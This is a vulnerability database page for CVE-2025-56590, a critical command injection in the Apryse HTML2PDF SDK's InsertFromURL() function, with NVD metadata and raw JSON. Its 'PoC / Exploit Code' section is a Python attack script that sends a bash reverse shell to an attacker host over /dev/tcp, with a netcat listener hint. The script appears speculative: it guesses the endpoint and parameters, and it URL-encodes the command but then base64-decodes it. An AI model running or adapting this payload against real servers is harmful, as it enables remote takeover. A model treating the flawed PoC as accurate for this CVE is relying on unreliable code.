Security Vulnerability Report
中文
CVE-2025-56590 CVSS 9.8 CRITICAL

CVE-2025-56590

Published: 2026-01-22 18:16:42
Last Modified: 2026-02-12 15:01:50

Description

An issue was discovered in the InsertFromURL() function of the Apryse HTML2PDF SDK thru 11.10. This vulnerability could allow an attacker to execute arbitrary operating system commands on the local server.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:apryse:html2pdf:11.5.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apryse:html2pdf:11.7.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apryse:html2pdf:11.10.0:*:*:*:*:*:*:* - VULNERABLE
Apryse HTML2PDF SDK <= 11.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import urllib.parse # CVE-2025-56590 PoC - Apryse HTML2PDF SDK InsertFromURL() Command Injection # Target: Apryse HTML2PDF SDK <= 11.10 def exploit_cve_2025_56590(target_url, attacker_ip, attacker_port): """ Exploit for CVE-2025-56590: Apryse HTML2PDF SDK InsertFromURL() RCE Target: vulnerable Apryse HTML2PDF server Attacker: listening for reverse shell connection """ # Generate malicious URL with command injection payload # Using reverse shell payload (modify for your environment) cmd = f"bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1" encoded_cmd = urllib.parse.quote(cmd) # Alternative: Direct command execution # cmd = "whoami > /tmp/pwned.txt" # Construct the malicious URL (depends on specific implementation) malicious_url = f"http://{attacker_ip}:8080/$(echo {encoded_cmd}|base64 -d|bash)" # Or using pipe/command chaining # malicious_url = f"http://example.com;{cmd}" payload = { "url": malicious_url, "action": "convert" # or appropriate action parameter } try: response = requests.post(target_url, data=payload, timeout=10) print(f"[*] Request sent to {target_url}") print(f"[*] Payload: {malicious_url}") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False # Example usage if __name__ == "__main__": target = "http://vulnerable-server:8090/api/insertfromurl" lhost = "attacker-ip" lport = "4444" # Start listener: nc -lvnp 4444 exploit_cve_2025_56590(target, lhost, lport)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56590", "sourceIdentifier": "[email protected]", "published": "2026-01-22T18:16:42.443", "lastModified": "2026-02-12T15:01:49.683", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in the InsertFromURL() function of the Apryse HTML2PDF SDK thru 11.10. This vulnerability could allow an attacker to execute arbitrary operating system commands on the local server."}, {"lang": "es", "value": "Se descubrió un problema en la función InsertFromURL() del SDK Apryse HTML2PDF hasta la versión 11.10. Esta vulnerabilidad podría permitir a un atacante ejecutar comandos arbitrarios del sistema operativo en el servidor local."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apryse:html2pdf:11.5.0:*:*:*:*:*:*:*", "matchCriteriaId": "FB6DEBF8-CD85-485C-8B52-F70A4BE7909B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apryse:html2pdf:11.7.0:*:*:*:*:*:*:*", "matchCriteriaId": "CF5C0850-F608-426E-8FD8-AC4E4312E4A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apryse:html2pdf:11.10.0:*:*:*:*:*:*:*", "matchCriteriaId": "F5AD5BCA-FF3F-4C6B-91DF-00CA12E4C82E"}]}]}], "references": [{"url": "http://apryse.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.stratascale.com/resource/apryse-server-argument-injection-rce/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}